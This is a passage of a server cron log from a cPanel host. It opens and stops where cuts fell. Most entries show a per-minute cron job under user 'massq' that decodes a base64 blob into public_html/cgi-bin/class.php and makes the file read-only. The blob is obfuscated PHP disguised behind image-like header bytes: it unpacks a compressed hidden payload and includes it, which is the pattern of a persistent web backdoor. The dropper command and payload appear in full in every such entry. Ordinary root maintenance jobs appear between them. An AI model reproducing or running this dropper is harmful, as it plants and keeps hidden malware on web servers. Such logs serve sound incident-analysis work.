ICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:17:01 server CROND[13547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:18:01 server CROND[13726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:19:01 server CROND[13799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:20:01 server CROND[13878]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 19:20:01 server CROND[13879]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 19:20:01 server CROND[13880]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 19:20:01 server CROND[13882]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 19:20:01 server CROND[13885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:21:01 server CROND[14087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:22:01 server CROND[14157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:23:01 server CROND[14319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:24:01 server CROND[14383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:25:01 server CROND[14445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:25:01 server CROND[14446]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 19:25:01 server CROND[14447]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 19:26:01 server CROND[14559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:27:01 server CROND[14632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:27:01 server CROND[14633]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 19:28:01 server CROND[14775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:29:01 server CROND[14832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:30:01 server CROND[14897]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 19:30:01 server CROND[14898]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 19:30:01 server CROND[14899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyK